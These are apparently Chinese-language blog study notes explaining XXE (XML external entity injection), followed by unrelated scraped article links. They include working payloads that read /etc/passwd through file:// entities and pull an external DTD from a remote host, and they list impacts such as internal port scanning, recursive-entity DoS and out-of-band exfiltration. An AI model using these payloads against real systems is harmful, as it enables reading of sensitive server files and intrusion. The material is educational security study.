2019-11-19:xxe漏洞利用,笔记
xxe,也就是xml,外部实体注入攻击,漏洞是对非安全的外部实体数据进行处理时引发的安全问题,要了解xxe,就必须懂得xml的一些规则
xml是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言
xml文档结构:xml声明,DTD文档类型定义,文档元素
html用来显示数据
xml用来传输数据
<!DOCTYPE 变量名 [ 定义的元素 ] >
<!ELEMENT 变量名 (定义元素的名称)>
<?xml version='1.0' encoding='utf-8'?> xml声明
<!DOCTYPE copyright [ DTD 文档类型定义
<!ELEMENT note (to,reset,login)> 定义元素 note为父元素
<!ENTITY test SYSTEM 'url'> 定义外部实体test
]>
<to>
<reset> 下面为文档元素
<login>&test;</login> 调用test实体
<secret>login</secret>
</reset>
<to>
在一个甚至多个xml文档中频繁使用某一条数据,我们可以预先定义一条数据的别名,就是一个ENTITY,然后在这些文档中需要该数据的地方调用它,根据实体的来源我们可以分为内部实体和外部实体,xml定义了两种类型ENTITY,一种在xml文档中使用,另一种作为参数在DTD文件中使用,定义好的ENTITY在文档中通过“&实体名;”来使用
DTD,Documnet Type Definition就是文档类型定义,是一种xml约束模式语言,属于xml文件组成的一部分
DTD有三种应用形式:
1,内部DTD文档
<!DOCTYPE 根元素【定义内容】>
2,外部DTD文档
<!DOCTYPE 根元素 SYSTEM “DTD文件路径”>
3,内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM “DTD文件路径” 【定义内容】>
XXE--->通过调用DTD文档中外部实体来触发漏洞
xml外部实体注入
xml实体分为普通实体和参数实体
实体类型:普通实体,外部实体,参数实体,外部参数实体
普通实体:用在xml文档中,声明方式:<!ENTITY 实体名 “实体内容”>,外部实体<!ENTITY 实体名 SYSTEM “外部文件URL地址”> ,引用方式&实体名;
参数实体:只用在DTD中元素和属性的声明中,声明方式,<!ENTITY %实体名 “文件内容”>,<!ENTITY %实体名 SYSTEM “外部文件URL地址”,引用方式 %实体名;
外部普通实体,读取目标服务中文件
通过file协议,引入外部普通实体,读取目标服务中文件实例
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc//passwd">
]>
<test>&xxe;</test>
引入外部参数实体outdtd.dtd文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE reset [
<!ENTITY % a SYSTEM "http://192.168.1.3/out.dtd">
%a;]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
outdtd.dtd
<!ENTITY xxe SYSTEM "file:///etc/passwd">
xml支持的协议
php:file,http,ftp,php,compress.zlib,compress.bzip2,data,glob,phar
.net:file,http,https,ftp
危害
使用file读取敏感文件,比如配置文件,etc/passwd等
内网服务探测,http://127.0.0.1:80 22 3306等,根据返回页面提示不同,确定内网服务
DOS攻击,递归调用,占用大量服务器资源
无回显(盲型xxe)
使用数据带外技术(OOB),比如
2019-11-19:xxe漏洞利用,笔记的更多相关文章
- XXE漏洞学习笔记
XXE 参考文章 名称 地址 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357 Web Hacking 101 https://wizardforce ...
- cisco ssh实验--附带配置脚本-2019.11.19
cisco ssh实验
- 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
- ref:浅谈XXE漏洞攻击与防御
ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于 2017-06-20 | 分类于 web安全 | 热度 3189 ℃ 你会挽着我 ...
- 浅入深出了解XXE漏洞
环境搭建 https://github.com/c0ny1/xxe-lab 为了更深入的理解,我准备理论和实际相结合的了解XXE! 浅谈XML 初识XML 一个好的代码基础能帮助你更好理解一类漏洞,所 ...
- 1.浅谈XXE漏洞攻击与防御
XML基础 在介绍XXE漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具. XML是一种用于标记电子文 ...
- XXE漏洞原理及利用
0x01概述 XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞.XXE扩大了攻击面. 当允许引用外部实体时,就可能导致任意文件读取.系统命令执行.内网 ...
- 实战讲解XXE漏洞的利用与防御策略
现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查XML格式是否正确.当解析器允许XML外部实体解析时,就会 ...
- XXE漏洞——介绍及利用
什么是xxe XML外部实体注入,简称XXE漏洞.XML文档结构包括XML声明,DTD文档类型定义,文档元素. XML示例 <?xml version="1.0"?>X ...
随机推荐
- Apache源码包在LINUX(CENTOS6.8)中的安装(出现问题及解决)
任务:在CENT6.8系统中安装Apache(版本为:httpd-2.4.41) 前提:由于源码包必须先编译后安装,所以必须先安装编译器:gcc 理论步骤: 1.检测gcc软件包,如果不存在则进行安装 ...
- 函数进阶(二) day13
目录 昨日内容 闭包函数 装饰器 二层装饰器 装饰器模板 三层装饰器 今日内容 迭代器 可迭代对象 迭代器对象 for循环原理(迭代循环) 三元表达式 列表推导式 字典生成式 生成器 yield关键字 ...
- MybatisPlus3.X使用配置
本文讲解了MyBatis-Plus在使用过程中的配置选项,其中,部分配置继承自MyBatis原生所支持的配置 基本配置 本部分配置包含了大部分用户的常用配置,其中一部分为 MyBatis 原生所支持的 ...
- SpringBoot整合Redis(一)
docker启动redis docker run -p 6379:6379 --name myredis redis 查看容器 [root@topcheer ~]# docker ps -l CONT ...
- MySQL:数据库基本认识
1.什么是数据库 通俗来讲,数据库就是用于存储数据的仓库.很多人可能会问,存储数据用文件不就行了吗?为什么还要弄数据库? 文件存储数据具有以下几个缺点: 文件的安全性问题 文件不利于查询和数据库管理 ...
- Codeforces Round #595 (Div. 3)B2 简单的dfs
原题 https://codeforces.com/contest/1249/problem/B2 这道题一开始给的数组相当于地图的路标,我们只需对每个没走过的点进行dfs即可 #include &l ...
- 为什么 Flutter 是跨平台开发的终极之选
跨平台开发是当下最受欢迎.应用最广泛的框架之一.能实现跨平台开发的框架也五花八门,让人眼花缭乱.最流行的跨平台框架有 Xamarin.PhoneGap.Ionic.Titanium.Monaca.Se ...
- 读书笔记-《Maven实战》-2018/5/3
5.7依赖调解 1.当一个项目有以下依赖关系的时候:A->B->C->X(1.0).A->D->X(2.0),X作为A的传递依赖而拥有两个版本,Maven为了解决以上问题 ...
- Kettle(6.0) 参数方式连接数据库
数据库连接条件(视自己实际情况而定) 数据库: Oracle 主机名称(IP): localhost 或 127.0.0.1 数据库名称(SID):MYORCL 端口号: 1521 用户名: scot ...
- Scrapy爬取豆瓣图书数据并写入MySQL
项目地址 BookSpider 介绍 本篇涉及的内容主要是获取分类下的所有图书数据,并写入MySQL 准备 Python3.6.Scrapy.Twisted.MySQLdb等 演示 代码 一.创建项目 ...